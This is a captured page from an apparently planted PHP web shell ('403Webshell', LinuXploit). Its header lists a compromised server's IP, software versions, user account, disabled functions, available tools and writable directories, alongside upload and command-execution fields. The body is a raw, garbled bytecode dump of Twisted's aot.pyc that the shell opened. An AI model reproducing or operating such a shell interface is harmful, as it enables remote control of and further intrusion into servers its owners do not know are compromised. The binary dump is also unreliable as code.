403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/twisted/persisted/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyc
ó
5¢Nc	@s*dZddlZddlZddlZddlZddlmZmZddlm	Z	dd(d„ƒYZ
de
fd„ƒYZd	e
fd
„ƒYZde
fd„ƒYZ
d
d)d„ƒYZdd*d„ƒYZeƒZejejejejejejejejejg	ZyejejƒWnek
rCnXdd+d„ƒYZdd,d„ƒYZdd-d„ƒYZ dd.d„ƒYZ!d„Z"de#fd„ƒYZ$ej%dƒZ&d„Z'd„Z(d„Z)d „Z*d!„Z+d"d/d#„ƒYZ,d$„Z-dd%„Z/d&d0d'„ƒYZ0dS(1s|
AOT: Abstract Object Trees
The source-code-marshallin'est abstract-object-serializin'est persister
this side of Marmalade!
iÿÿÿÿN(treflecttlog(tcrefutiltNamedcBseZd„ZRS(cCs
||_dS(N(tname(tselfR((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyt__init__s(t__name__t
__module__R(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRstClasscBseZd„ZRS(cCsd|jS(Ns	Class(%r)(R(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyt	getSources(RRR
(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR	stFunctioncBseZd„ZRS(cCsd|jS(NsFunction(%r)(R(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
#s(RRR
(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR"stModulecBseZd„ZRS(cCsd|jS(Ns
Module(%r)(R(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
's(RRR
(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR&stInstanceMethodcBseZd„Zd„ZRS(cCs_t|tƒp*t|tƒp*t|tƒs@td|ƒ‚n||_||_||_dS(Ns$%s isn't an Instance, Ref, or Deref!(t
isinstancetReftInstancetDereft	TypeErrorRtklasstinstance(RRRtinst((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR,s
-		cCs d|j|jt|jƒfS(NsInstanceMethod(%r, %r, 
%s)(RRtprettifyR(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
3s(RRRR
(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
+s	t_NoStateObjcBseZRS((RR(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR7sRcBseZed„Zd„ZRS(cKset|tjƒs%td|ƒ‚n||_|tk	rO||_d|_n||_d|_dS(Ns%s isn't a string!ii(Rttypest
StringTypeRRt
NoStateObjtstatetstateIsDict(Rt	classNamet__stateObj__R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRFs			cCsÀ|jr|j}n?t|jtƒrNt|jjtjƒrN|jj}nd}|dk	r¦yd|jt	|ƒfSWq¦t
k
r¢d|jt|ƒfSXnd|jt|jƒfS(NsInstance(%r, %s)(RRRRtobjRtDictTypetNoneRtdictToKWtNonFormattableDictR(Rt	stateDict((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
Qs	*
(RRRRR
(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyREsRcBs,eZd„Zd„Zd„Zd„ZRS(cGsNt|ƒdkr/|d|_|d|_n|sJd|_d|_ndS(Niii(tlentrefnumRR!(Rtargs((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRbs
	cCs2|jr%td||jfƒ‚n||_dS(Ns&Error setting id %s, I already have %s(R&t
ValueError(Rtnum((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pytsetRefks	cCs2|jr%td||jfƒ‚n||_dS(Ns'Error setting obj %s, I already have %s(RR((RR((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pytsetObjps	cCsN|jdkrtdƒ‚n|jrAd|jt|jƒfSt|jƒS(Ns7Don't try to display me before setting an object on me!s
Ref(%d, 
%s)(RR!tRuntimeErrorR&R(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
us
	(RRRR*R+R
(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR`s				RcBs eZd„Zd„ZeZRS(cCs
||_dS(N(R&(RR)((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR~scCsd|jS(Ns	Deref(%d)(R&(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
s(RRRR
t__repr__(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR}s		tCopyregcBseZd„Zd„ZRS(cCs||_||_dS(N(tloadfuncR(RR/R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRˆs	cCsd|jt|jƒfS(NsCopyreg(%r, %s)(R/RR(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
Œs(RRRR
(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR.‡s	cCstdt|ƒƒS(sDPass me an AO, I'll return a nicely-formatted source representation.sapp = (t	indentifyR(tao((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR
–sR#cBseZdZRS(s&A dictionary was not formattable.
    (RRt__doc__(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR#›ss[a-zA-Z_][a-zA-Z0-9_]*$cCs¤g}|jƒ}|jƒxx|D]p\}}t|tjƒsTtd|ƒ‚ntj|ƒsvtd|ƒ‚n|jd|t	|ƒfƒq#Wdj
|ƒS(Ns%r ain't a strings%r ain't an identifiers
%s=%s,t(titemstsortRRRR#trtmatchtappendRtjoin(tdtoutR4tktv((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR"¡s
cCs±t|dƒr|jƒSt|ƒ}|tkr;t|ƒS|tjkr¿dg}x=|jƒD]/\}}|jdt	|ƒt	|ƒfƒq`W|jt
|ƒr«dp®dƒdj|ƒS|tjkr+dg}x%|D]}|jdt	|ƒƒqÞW|jt
|ƒrd	pd
ƒdj|ƒS|tj
kr—dg}x%|D]}|jdt	|ƒƒqJW|jt
|ƒrƒdp†d
ƒdj|ƒStd||fƒ‚dS(NR
t{s	
%s: %s,s
}t}R3t[s
%s,s
]t]t(s
)t)s/Unsupported type %s when trying to prettify %s.(thasattrR
ttypet_SIMPLE_BUILTINStreprRR R4R8RR%R9tListTypet	TupleTypeR(RttR;R<R=tx((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR°s0

	'
	

	

cCsGg}g}||d„}d|g}tj|j|ƒdj|ƒS(NcSsl|d	kr|j|ƒn|d
kr5|jƒn|dkr[|jdt|ƒƒn
|j|ƒdS(NR@RBR>RARCR?ts  (R@RBR>(RARCR?(R8tpopR%(REtvalR6tctlR;tstack((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyteaterÔs
R3(ttokenizeRMR9(tsR;RQRRRP((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR0ÑscCstƒj|ƒS(sG
    Pass me an Abstract Object Tree, and I'll unjelly it for you.
    (tAOTUnjelliertunjelly(taot((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pytunjellyFromAOTëscBs—ied6ed6ed6ed6ed6ed6ed6ed6}e|d	ƒr^|j	ƒ|Un||U|j
d
ƒrƒe|d
ƒSed|ƒ‚dS(
så
    Pass me a string of code or a filename that defines an 'app' variable (in
    terms of Abstract Objects!), and I'll execute it and unjelly the resulting
    AOT for you, returning a newly unpersisted Application object!
    RR
R	RRRRR.treadtapps'%s needs to define an 'app', it didn't!N(
RR
R	RRRRR.RDRYthas_keyRXR((tstringOrFiletns((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pytunjellyFromSourceñs

RUcBsMeZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	RS(sWI handle the unjellying of an Abstract Object Tree.
    See AOTUnjellier.unjellyAO
    cCsi|_g|_g|_dS(N(t
referencesRQtafterUnjelly(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRs		cCs#tjƒ}|j|d|ƒ|S(sUnjelly a node, later.
        i(Rt_DefertunjellyInto(RtnodeR:((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pytunjellyLaterscCsB|j|ƒ}|||<t|tjƒr>|j||ƒn|S(svUtility method for unjellying one object into another.
        This automates the handling of backreferences.
        (t	unjellyAORRtNotKnowntaddDependant(RRtlocR1to((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRb s

cCsQt|tjƒr.dg}|j|dƒn	|g}|jj||fƒdS(Ni(RRRfR!RgR`R8(RtcallabletresultRP((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyt	callAfter*s
		cCs|j|j||ƒdS(sÙUtility method for unjellying into instances of attributes.

        Use this rather than unjellyAO unless you like surprising bugs!
        Alternatively, you can use unjellyInto on your instance's __dict__.
        N(Rbt__dict__(RRtattrNameR1((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pytunjellyAttribute2scCsd|jj|ƒt|ƒ}|tjkrý|j}|tkrPtj|j	ƒS|t
tgksqt|tƒrtj
|j	ƒS|tkr3|j	}tj
|jƒ}|j|jƒ}||jkr$|d	krât||ƒSt|tjƒrtj|||ƒStj|j|||ƒSqútdƒ‚qV|tkr°tj
|jƒ}|j|jƒ}t|dƒrštj|iƒ}	|j|	j|ƒntj||ƒ}	|	S|t kr`|j|j!ƒ}
|j"}|j#j$|ƒ}|d	kr|
|j#|<nWt|tjƒr4|j%|
ƒ|
|j#|<n(|d	krCnt&d|||fƒ‚|
S|t'kr·|j"}
|j#j$|
ƒ}|d	kr³tj(|
ƒ}||j#|
<|S|S|t)krVtj
|j*ƒ}|j+|jƒj,d„|ƒ}|SnY|t-kr
|S|tj.krag}x8|D]0}|jd	ƒ|j/|t0|ƒd|ƒq)W|S|tj1krÛg}t2}xR|D]J}|jd	ƒt|j/|t0|ƒd|ƒtjƒrƒtj3}qƒqƒW||ƒS|tj4krFi}xO|j5ƒD]A\}}tj6|ƒ}|j/|d|ƒ|j/|d|ƒqýW|Std|ƒ‚|jd=d	S(
saUnjelly an Abstract Object and everything it contains.
        I return the real object.
        sinstance method changedt__setstate__s1Multiple references with the same ID: %s, %s, %s!cSs
t||ƒS(N(tapply(Rkt_l((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyt<lambda>€siisUnsupported AOT type: %siÿÿÿÿN(7RQR8RERtInstanceTypet	__class__RRtnamedModuleRR	Rt
issubclasstnamedObjectR
RReRRmR!tgetattrRRRft_InstanceMethodt
MethodTypeRRRRDRlRpRRR&R_tgettresolveDependantsR(Rt_DereferenceR.R/RdtaddCallbackRFRHRbR%RIttuplet_TupleR R4t_DictKeyAndValue(RR1RJROtim_nametim_classtim_selfRRRRitrefkeytrefR)tderR/R:RPRKttuple_R<R=tkvd((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRe;s 	!	

	
	


!

+
cCsyPdg}|j|d|ƒx%|jD]\}}||dƒq)W|dSWn9tjdƒtjdjtt|jƒƒƒ‚nXdS(Nis+Error jellying object! Stacktrace follows::s
(	R!RbR`RtmsgR9tmapRGRQ(RR1RPtfuncR=((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRV¦s	
"(
RRR2RRdRbRlRoReRV(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRU
s			
				kcCstƒj|ƒS(s-Convert an object to an Abstract Object Tree.(t
AOTJelliertjelly(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyt
jellyToAOT¶scCs6t|ƒ}|r(|jt|ƒƒn
t|ƒSdS(sª
    Pass me an object and, optionally, a file object.
    I'll convert the object to an AOT either return it (if no file was
    specified) or write it to the file.
    N(RtwriteR
(RtfileRW((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyt
jellyToSourceºsRŽcBs,eZd„Zd„Zd„Zd„ZRS(cCsi|_d|_g|_dS(Ni(tpreparedt_ref_idRQ(R((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRÉs		cCs||jt|ƒ<dS(saI prepare an object for later referencing, by storing its id()
        and its _AORef in a cache.N(R”tid(Rtaoreftobject((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyt
prepareForRefÏscCs6t|ƒ}|jjt|ƒƒ|tkr7|}nñ|tjkryt|jj	t
j|jƒ|j
|jƒƒ}n¯|tjkršt|j	ƒ}nŽ|tjkrÁtt
j|ƒƒ}ngt|tƒrètt
j|ƒƒ}n@|tjkrtt
j|ƒƒ}n|jjt|ƒƒr|jt|ƒ}|jrO|j}n&|jd|_|j}|j|ƒt|ƒStƒ}|j||ƒ|tj krÃ|j!t"|j
|ƒƒne|tj#krô|j!t$t"|j
|ƒƒƒn4|tj%krRi}x6|j&ƒD](\}}|j
|ƒ||j
|ƒ<qW|j!|ƒnÖ|tj'kr¿t(|dƒrˆ|j
|j)ƒƒ}	n|j
|j*ƒ}	|j!t+t
j|j,ƒ|	ƒƒnit-j.j|ƒrt-j.||ƒ\}
}	|j!t/t
j|
ƒ|j
|	ƒƒƒnt0d|j	ƒ‚|jd=|S(s+I turn an object into an AOT and return it.it__getstate__sUnsupported type: %siÿÿÿÿ(1RERQR8RGRFRR{R
tim_funcRRtqualR„t	jellyToAOR…t
ModuleTypeRt	ClassTypeR	RwtFunctionTypeRtfullFuncNameR”R[R–R&R•R*RRR™RHR+RŒRIR€tDictionaryTypeR4RtRDRšRmRRutcopy_regtdispatch_tableR.R(RRtobjTypetretvaltoldReftkeyR:R<R=RtunpickleFunc((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRÔs\	
		

	" %
cCsNy|j|ƒ}|SWn0tjdƒtjdj|jƒƒ‚nXdS(Ns+Error jellying object! Stacktrace follows::s
(RRR‹R9RQ(RRR1((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyR)s
(RRRR™RR(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyRŽÈs			U((((((((((1R2RR£RStrettwisted.pythonRRttwisted.persistedRRR	RRR
RRRtUnicodeTypetIntTypet	FloatTypetComplexTypetLongTypetNoneTypet	SliceTypetEllipsisTypeRFR8tBooleanTypetAttributeErrorRRRR.R
t	ExceptionR#tcompileR6R"RR0RXR^RURR!R“RŽ(((s9/usr/lib/python2.7/dist-packages/twisted/persisted/aot.pyt<module>sB0		

			!			©	

Youez - 2016 - github.com/yon3zu
LinuXploit